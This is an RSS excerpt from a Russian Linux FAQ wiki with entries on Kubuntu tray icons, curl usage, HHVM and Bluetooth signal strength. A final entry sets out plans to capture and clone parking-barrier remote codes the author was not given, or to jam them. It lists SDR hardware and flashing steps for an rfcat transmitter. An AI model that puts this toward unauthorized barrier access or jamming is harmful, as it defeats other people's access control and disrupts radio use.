            <link>https://wiki.autosys.tk/linux_faq/%D0%B7%D0%BD%D0%B0%D1%87%D0%BA%D0%B8_%D0%B2_%D1%82%D1%80%D0%B5%D0%B5_kubuntu_16.04_sni_indicators</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
После установки &lt;strong&gt;Kubuntu 16.04&lt;/strong&gt; из трея рядом с часиками пропали значки (indicators) некоторых приложений. В частности - pidgin
Оказалось, что в новом &lt;strong&gt;KDE 5&lt;/strong&gt; изменился программный интерфейс для вывода приложениями этих индикаторов. Раньше использовались &lt;strong&gt;QSystemTrayIcon&lt;/strong&gt; а теперь &lt;strong&gt;StatusNotifierItems&lt;/strong&gt;. 
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-532&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;решение&quot;&gt;Решение&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Для совмесимости со старыми приложениями есть пакет &lt;strong&gt;sni-qt&lt;/strong&gt;. После его установки значки возвращаются на место.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install sni-qt&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;533-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>использование-curl</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5-curl</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;curl_для_работы_с_ftp&quot;&gt;curl для работы с ftp&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Заходим на ftp и смотрим что там есть:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;curl ftp://myftpsite.com --user myname:mypassword &lt;/pre&gt;

&lt;p&gt;
&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Скачиваем файл с сервера:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;curl ftp://myftpsite.com/mp3/mozart_piano_sonata.zip --user myname:mypassword -o mozart_piano_sonata.zip &lt;/pre&gt;

&lt;p&gt;
&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Закачиваем файл на сервер:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;curl -T koc_dance.mp3 ftp://myftpsite.com/mp3/ --user myname:mypassword&lt;/pre&gt;

&lt;p&gt;
&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Смотрим файлы в поддиректориях:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;curl ftp://myftpsite.com/mp3/  --user myname:mypassword&lt;/pre&gt;

&lt;p&gt;
Листиниг только директорий:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;curl ftp://myftpsite.com  --user myname:mypassword -s | grep ^d&lt;/pre&gt;

&lt;p&gt;
&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Удаляем файл с сервера. Подтверждения не спрашивает!!:&lt;br/&gt;

Curl не умеет сам удалять файлы с ftp, поэтому в данном случае - мы отправляем текст &lt;abbr title=&quot;File Transfer Protocol&quot;&gt;FTP&lt;/abbr&gt;-команды с помощью &lt;strong&gt;-X&lt;/strong&gt;.&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;curl ftp://myftpsite.com/ -X &amp;#039;DELE mp3/koc_dance.mp3&amp;#039; --user myname:mypassword&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;curl \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 ftp&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;curl_\u0434\u043b\u044f_\u0440\u0430\u0431\u043e\u0442\u044b_\u0441_ftp&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-1138&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;curl_и_аутентификация_kerberos&quot;&gt;curl и аутентификация kerberos&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Вот кратко написано, что нужно знать о том, как &lt;strong&gt;curl&lt;/strong&gt; аутентифицируется с помощью &lt;strong&gt;kerberos&lt;/strong&gt;: &lt;a href=&quot;https://stackoverflow.com/a/38664954&quot; class=&quot;urlextern&quot; title=&quot;https://stackoverflow.com/a/38664954&quot; rel=&quot;ugc nofollow&quot;&gt;https://stackoverflow.com/a/38664954&lt;/a&gt; &lt;br/&gt;

Если на хосте с которого мы обращаемся настроен &lt;strong&gt;kerberos&lt;/strong&gt; и пользователь аутентифицирован (есть переменная &lt;strong&gt;KRB5CCNAME&lt;/strong&gt;, которая указывает на &lt;strong&gt;keytab&lt;/strong&gt; и в нем билет), то подключаться можно так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;curl -d &amp;quot;$REQUEST&amp;quot; --header &amp;quot;Content-Type: text/xml&amp;quot; --negotiate -u : $URL &lt;/pre&gt;

&lt;p&gt;
То есть указываем тип аутентификации - negotiate (параметр &lt;strong&gt;–negotiate&lt;/strong&gt;) и пользователь (параметр &lt;strong&gt;-u&lt;/strong&gt;) с пустым именем а паролем - &lt;strong&gt;:&lt;/strong&gt; .
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;curl \u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f kerberos&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;curl_\u0438_\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f_kerberos&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:6,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;1139-2038&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;curl_через_http-прокси&quot;&gt;curl через http-прокси&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Работаем через &lt;strong&gt;proxy&lt;/strong&gt; с аутентификацией на прокси с помощью &lt;strong&gt;kerberos&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;curl --verbose -xsrv-proxy.domain.local:3128 --proxy-negotiate -U: https://ya.ru&lt;/pre&gt;

&lt;p&gt;
Через прокси с NTLM-аутентификацией:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;curl --proxy-ntlm --proxy-user DOMAINNAME\\username:p\@ssw0rd --proxy srv-proxy.domain.local:3128 https://ya.ru&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;curl \u0447\u0435\u0440\u0435\u0437 http-\u043f\u0440\u043e\u043a\u0441\u0438&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;curl_\u0447\u0435\u0440\u0435\u0437_http-\u043f\u0440\u043e\u043a\u0441\u0438&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:6,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;2039-2472&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;curl_и_аутентификация_с_помощью_клиентского_сертификата&quot;&gt;curl и аутентификация с помощью клиентского сертификата&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Допустим у нас есть сертификат в PKCS12. Мы извлекаем из него его составляющие вот так: &lt;a href=&quot;https://wiki.autosys.tk/linux_faq/openssl_hints#конвертация_клиентского_сертификата_из_pkcs12_в_pem&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:openssl_hints&quot; data-wiki-id=&quot;linux_faq:openssl_hints&quot;&gt; Конвертация клиентского сертификата из PKCS12 в pem &lt;/a&gt; а затем используем для доступа к ресурсу:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;curl --key ./key.pem --cacert ./ca.pem --cert ./client.pem https://secret.server.com/secret/url&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;curl \u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0433\u043e \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;curl_\u0438_\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f_\u0441_\u043f\u043e\u043c\u043e\u0449\u044c\u044e_\u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0433\u043e_\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:6,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;2473-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Fri, 25 Dec 2020 14:05:54 +0000</pubDate>
        </item>
        <item>
            <title>использование_hhvm_в_качестве_fastcgi_вместо_php-fpm</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_hhvm_%D0%B2_%D0%BA%D0%B0%D1%87%D0%B5%D1%81%D1%82%D0%B2%D0%B5_fastcgi_%D0%B2%D0%BC%D0%B5%D1%81%D1%82%D0%BE_php-fpm</link>
            <description>
&lt;p&gt;
&lt;a href=&quot;https://docs.hhvm.com/hhvm/advanced-usage/fastCGI&quot; class=&quot;urlextern&quot; title=&quot;https://docs.hhvm.com/hhvm/advanced-usage/fastCGI&quot; rel=&quot;ugc nofollow&quot;&gt;https://docs.hhvm.com/hhvm/advanced-usage/fastCGI&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://hub.docker.com/r/hhvm/hhvm&quot; class=&quot;urlextern&quot; title=&quot;https://hub.docker.com/r/hhvm/hhvm&quot; rel=&quot;ugc nofollow&quot;&gt;https://hub.docker.com/r/hhvm/hhvm&lt;/a&gt;
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Thu, 12 May 2022 11:56:22 +0000</pubDate>
        </item>
        <item>
            <title>качество_сигнала_bluetooth_signal_strenght</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%BA%D0%B0%D1%87%D0%B5%D1%81%D1%82%D0%B2%D0%BE_%D1%81%D0%B8%D0%B3%D0%BD%D0%B0%D0%BB%D0%B0_bluetooth_signal_strenght</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;задача&quot;&gt;Задача&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Нужно увидеть в реальном времени качество сигнала отдельного устройства bluetooth (в моем случае - гарнитуры).
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-222&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;решение&quot;&gt;Решение&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Для начала - определим MAC-адрес устройства. 
Посмотреть подключенные устройства можно командой:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;hcitool con&lt;/pre&gt;

&lt;p&gt;
Там будет виден MAC.
&lt;/p&gt;

&lt;p&gt;
Затем пишем маленький скриптик &lt;strong&gt;bt_signal.sh&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/sh
clear
while true
do
hcitool rssi 00:22:37:22:A1:3E
sleep 0.5
done &lt;/pre&gt;

&lt;p&gt;
В строке &lt;strong&gt;hcitool rssi 00:22:37:22:A1:3E&lt;/strong&gt; указывается адрес устройства, качество сигнала которого нужно посмотеть.
Все. Запускаем и наслаждаемся.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;223-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>клонирование_ключей_шлагбаумов</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%BA%D0%BB%D0%BE%D0%BD%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BA%D0%BB%D1%8E%D1%87%D0%B5%D0%B9_%D1%88%D0%BB%D0%B0%D0%B3%D0%B1%D0%B0%D1%83%D0%BC%D0%BE%D0%B2</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Пришла в наш двор беда. Инициативная группа установила шлагбаумы, а ключи раздали только избранным. &lt;br/&gt;

Печально, конечно, но надо что-то с этим делать. Пока альтернативная инициативная группа пытается юридически  воздействовать на беспредельщиков, я пытаюсь как-то воздествовать на шлагбаумы технически. Просто физически сломать их было бы, конечно, проще, но ведь их починят. &lt;br/&gt;

Поэтому родалсь мысль либо сграбить коды радиобрелков из эфира и клонировать брелок, либо, если клонировать не получится - просто сделать глушилку, чтобы все были в равных условиях и шлаги не открывались ни у кого.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-1112&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;матчасть&quot;&gt;Матчасть&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Что может понадобится для клонирования радиобрелка? &lt;br/&gt;

Самый простой вариант - оригинальный радиобрелок есть в наличии и код его статический. В этом случае на &lt;a href=&quot;http://aliexpress.com/&quot; class=&quot;urlextern&quot; title=&quot;http://aliexpress.com/&quot; rel=&quot;ugc nofollow&quot;&gt;http://aliexpress.com/&lt;/a&gt; покупается китайская “болванка” брелка и он клонируется буквально за пару минут. 
&lt;br/&gt;
Например такая - &lt;br/&gt;
&lt;img src=&quot;https://wiki.autosys.tk/_media/linux_faq/keyfob.jpg?w=200&amp;amp;tok=69309c&quot; class=&quot;media&quot; loading=&quot;lazy&quot; alt=&quot;&quot; width=&quot;200&quot; /&gt; &lt;br/&gt;

Второй вариант - код статический, но брелка в наличии нет. В этом случае нужно сграбить код из эфира и воспроизвести его для записи на болванку. Это реалистичный для исполнения сценарий.  &lt;br/&gt;

Для граббинга радиосигнала понадобится девайс - SDR (Software Defined Radio). Я купил за 7 долларов на aliexpress тюнер на базе &lt;strong&gt;RTL2832U+R820T2&lt;/strong&gt;:&lt;br/&gt;

&lt;a href=&quot;https://wiki.autosys.tk/_media/linux_faq/rtl_sdr.jpg&quot; class=&quot;media&quot; title=&quot;linux_faq:rtl_sdr.jpg&quot;&gt;&lt;img src=&quot;https://wiki.autosys.tk/_media/linux_faq/rtl_sdr.jpg?w=200&amp;amp;tok=16a9d3&quot; class=&quot;media&quot; loading=&quot;lazy&quot; alt=&quot;&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;br/&gt;

Для того чтобы воспроизвести сграбленный сигнал и записать его на “болванку” понадобится трансмиттер. У меня в закромах оказался трансмиттер &lt;strong&gt;TexasInstruments&lt;/strong&gt; на базе чипа &lt;strong&gt;CC1111-F32&lt;/strong&gt;. Он входил в состав комплекта для разработчиков &lt;strong&gt;MSP430 MCU ez Chronos&lt;/strong&gt;, который в свое время был приобретен примерно за $140: &lt;br/&gt;

&lt;a href=&quot;https://wiki.autosys.tk/_media/linux_faq/chron.png&quot; class=&quot;media&quot; title=&quot;linux_faq:chron.png&quot;&gt;&lt;img src=&quot;https://wiki.autosys.tk/_media/linux_faq/chron.png?w=200&amp;amp;tok=9af954&quot; class=&quot;media&quot; loading=&quot;lazy&quot; alt=&quot;&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;br/&gt;

Вот сам трансмиттер:&lt;br/&gt;

&lt;a href=&quot;https://wiki.autosys.tk/_media/linux_faq/cc1111-f32.jpeg&quot; class=&quot;media&quot; title=&quot;linux_faq:cc1111-f32.jpeg&quot;&gt;&lt;img src=&quot;https://wiki.autosys.tk/_media/linux_faq/cc1111-f32.jpeg&quot; class=&quot;media&quot; loading=&quot;lazy&quot; alt=&quot;&quot; /&gt;&lt;/a&gt; &lt;br/&gt;

У именно этого варианта есть один минус - у него нет разъема и провода для прошивки к нему нужно припаивать.
Но оказалось, что нормальный девайс с разъемами стоит неприлично дорого (примерно $70). &lt;br/&gt;

Для того чтобы воспроизвести сграбленный сигнал в этот трансмиттер надо залить прошивку, которая может работать совместно с утилитой &lt;a href=&quot;https://bitbucket.org/atlas0fd00m/rfcat&quot; class=&quot;urlextern&quot; title=&quot;https://bitbucket.org/atlas0fd00m/rfcat&quot; rel=&quot;ugc nofollow&quot;&gt;rfcat&lt;/a&gt;. &lt;br/&gt;

Для прошивания &lt;strong&gt;CC1111-F32&lt;/strong&gt; нужен программатор - &lt;strong&gt;SmartRF04&lt;/strong&gt;, который стоит около 5 баксов:&lt;br/&gt;

&lt;a href=&quot;https://wiki.autosys.tk/_media/linux_faq/smartrf04eb.jpg&quot; class=&quot;media&quot; title=&quot;linux_faq:smartrf04eb.jpg&quot;&gt;&lt;img src=&quot;https://wiki.autosys.tk/_media/linux_faq/smartrf04eb.jpg?w=200&amp;amp;tok=a1e445&quot; class=&quot;media&quot; loading=&quot;lazy&quot; alt=&quot;&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041c\u0430\u0442\u0447\u0430\u0441\u0442\u044c&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043c\u0430\u0442\u0447\u0430\u0441\u0442\u044c&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;1113-3794&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;софт&quot;&gt;Софт&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
 - Для прослушивания эфира есть несколько разных тулзов. Под разные ОС. Для windows есть &lt;a href=&quot;http://rtl-sdr.ru/&quot; class=&quot;urlextern&quot; title=&quot;http://rtl-sdr.ru/&quot; rel=&quot;ugc nofollow&quot;&gt;SDRSharp (SDR#)&lt;/a&gt;, который без регистрации можно скачать, например, тут: &lt;a href=&quot;http://airspy.com/download/&quot; class=&quot;urlextern&quot; title=&quot;http://airspy.com/download/&quot; rel=&quot;ugc nofollow&quot;&gt;http://airspy.com/download/&lt;/a&gt;&lt;br/&gt;

 - Но я работаю под Ubuntu Linux и поэтому пользуюсь связкой &lt;a href=&quot;http://sdr.osmocom.org/trac/wiki/rtl-sdr&quot; class=&quot;urlextern&quot; title=&quot;http://sdr.osmocom.org/trac/wiki/rtl-sdr&quot; rel=&quot;ugc nofollow&quot;&gt;rtl-sdr&lt;/a&gt; + &lt;a href=&quot;http://gqrx.dk/download&quot; class=&quot;urlextern&quot; title=&quot;http://gqrx.dk/download&quot; rel=&quot;ugc nofollow&quot;&gt;GQRX&lt;/a&gt;. &lt;br/&gt;

 - Для декодирования непосредственно из эфира можно пользоваться &lt;a href=&quot;https://github.com/merbanan/rtl_433&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/merbanan/rtl_433&quot; rel=&quot;ugc nofollow&quot;&gt;rtl_433&lt;/a&gt;. Эта утилитка слушает эфир и в реальном времени может декодировать битовые последовательности, а также знает некоторые протоколы и способна выдавать уже расшифрованные читабельные данные. &lt;br/&gt;

 - Для прошивки CC1111 понадобится &lt;a href=&quot;https://wiki.autosys.tk/_media/linux_faq/rfcat_150225.tgz&quot; class=&quot;media mediafile mf_tgz&quot; title=&quot;linux_faq:rfcat_150225.tgz (422.1 KB)&quot;&gt;rfcat&lt;/a&gt; и 
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043e\u0444\u0442&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043e\u0444\u0442&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;3795-4952&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;подготовка_cc1111_для_работы_с_rfcat&quot;&gt;Подготовка CC1111 для работы с rfcat&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Вот разводка пинов &lt;strong&gt;SmartRF04&lt;/strong&gt;: &lt;br/&gt;

&lt;a href=&quot;https://wiki.autosys.tk/_media/linux_faq/smartrf04_pinout.jpg&quot; class=&quot;media&quot; title=&quot;linux_faq:smartrf04_pinout.jpg&quot;&gt;&lt;img src=&quot;https://wiki.autosys.tk/_media/linux_faq/smartrf04_pinout.jpg?w=300&amp;amp;tok=d4bc8d&quot; class=&quot;mediacenter&quot; loading=&quot;lazy&quot; alt=&quot;&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;        * Chronos Dongle Details
    --------------------------------
    |                              |
    |         RST  1  2  TP         ------
    |         GND  3  4  VCC         USB |
    |     DC P2.2  5  6  P2.1 DD    ------
    | Chronos                      |
    --------------------------------

Chronos CC1111
PIN 

Name     PIN   Name
RST      1 2	
GND      3 4   Vcc
DC(P2.2) 5 6   DD(P2.1)



          &lt;/pre&gt;

&lt;p&gt;
Прошивать можно утилитами от &lt;strong&gt;TexasInstruments&lt;/strong&gt; - &lt;a href=&quot;http://www.ti.com/tool/flash-programmer&quot; class=&quot;urlextern&quot; title=&quot;http://www.ti.com/tool/flash-programmer&quot; rel=&quot;ugc nofollow&quot;&gt;SmartRF Flash Programmer&lt;/a&gt; и &lt;a href=&quot;http://www.ti.com/tool/smartrftm-studio&quot; class=&quot;urlextern&quot; title=&quot;http://www.ti.com/tool/smartrftm-studio&quot; rel=&quot;ugc nofollow&quot;&gt;SmartRF Studio&lt;/a&gt; или &lt;a href=&quot;http://goodfet.sourceforge.net/about/download/&quot; class=&quot;urlextern&quot; title=&quot;http://goodfet.sourceforge.net/about/download/&quot; rel=&quot;ugc nofollow&quot;&gt;GoodFet&lt;/a&gt;.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Подготовка &lt;strong&gt;CC1111&lt;/strong&gt; для работы с &lt;strong&gt;rfcat&lt;/strong&gt; сводится к прошивке последовательно двух файликов - &lt;strong&gt;bootloader&lt;/strong&gt; и собственно прошивки.&lt;br/&gt;

Для этого:&lt;br/&gt;

 1. Скачиваем архив rfcat и распаковываем его. Ставим &lt;strong&gt;SmartRF Flash Programmer&lt;/strong&gt; в Windows 7. Драйверы для программатора должны установиться автоматически.&lt;br/&gt;

 2. Подключаем/подпаиваем кабель от программатора к &lt;strong&gt;CC1111&lt;/strong&gt;.&lt;br/&gt;

 3. Подключаем &lt;strong&gt;CC1111&lt;/strong&gt; к разъему USB на компе с &lt;strong&gt;SmartRF Flash Programmer&lt;/strong&gt;.&lt;br/&gt;

 4. Подключаем кабель от &lt;strong&gt;CC1111&lt;/strong&gt; к программатору &lt;strong&gt;SmartRF&lt;/strong&gt;.&lt;br/&gt;

 5. Подключаем программатор &lt;strong&gt;SmartRF&lt;/strong&gt; к разъему USB на компе с &lt;strong&gt;SmartRF Flash Programmer&lt;/strong&gt;. &lt;br/&gt;

 6. Запускаем &lt;strong&gt;SmartRF Flash Programmer&lt;/strong&gt;. Софтина может попросить обновить фирмварь в программаторе &lt;strong&gt;SmartRF&lt;/strong&gt;. Можно согласиться и выбрать в выпадающем списке “&lt;strong&gt;Update EB Firmware&lt;/strong&gt;”.&lt;br/&gt;

 7. Дальше в выпадающем списке выбираем “&lt;strong&gt;Program CCxxxx SoC or MSP430&lt;/strong&gt;“&lt;br/&gt;

 8. Убеждаемся, что программа корректно определила &lt;strong&gt;Chip Type&lt;/strong&gt; и &lt;strong&gt;EB type&lt;/strong&gt;&lt;br/&gt;

 9. Дальше выбираем файл с прошивкой - &lt;strong&gt;rfcat_130515\firmware\bins\RfCatDonsCCBootloader-130515.hex&lt;/strong&gt; и выбираем опцию &lt;strong&gt;Erase, program and verify&lt;/strong&gt; и наконец жмем &lt;strong&gt;Perform actions&lt;/strong&gt;&lt;br/&gt;

 &lt;a href=&quot;https://wiki.autosys.tk/_media/linux_faq/smartrf_flashprogrammer_1.png&quot; class=&quot;media&quot; title=&quot;linux_faq:smartrf_flashprogrammer_1.png&quot;&gt;&lt;img src=&quot;https://wiki.autosys.tk/_media/linux_faq/smartrf_flashprogrammer_1.png?w=200&amp;amp;tok=85716b&quot; class=&quot;mediacenter&quot; loading=&quot;lazy&quot; alt=&quot;&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;br/&gt;

 10. После прошивки Windows на пару секунд потеряет &lt;strong&gt;CC1111&lt;/strong&gt;, но потом найдет снова. &lt;br/&gt;

 11. Теперь нужно прошить второй файл - &lt;strong&gt;rfcat_130515\firmware\bins\RfCatDons-130515.hex&lt;/strong&gt;. \\Повторяем прошивку, но теперь еще ставим галочку “Write protect boot block” и жмем &lt;strong&gt;Perform actions&lt;/strong&gt;&lt;br/&gt;

&lt;a href=&quot;https://wiki.autosys.tk/_media/linux_faq/smartrf_flashprogrammer_2.png&quot; class=&quot;media&quot; title=&quot;linux_faq:smartrf_flashprogrammer_2.png&quot;&gt;&lt;img src=&quot;https://wiki.autosys.tk/_media/linux_faq/smartrf_flashprogrammer_2.png?w=200&amp;amp;tok=05c4c4&quot; class=&quot;mediacenter&quot; loading=&quot;lazy&quot; alt=&quot;&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;br/&gt;

 12. Отключаем кабель от &lt;strong&gt;CC1111&lt;/strong&gt; и извлекаем его из USB.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Теперь CC1111 готов для работы с &lt;strong&gt;rfcat&lt;/strong&gt;&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
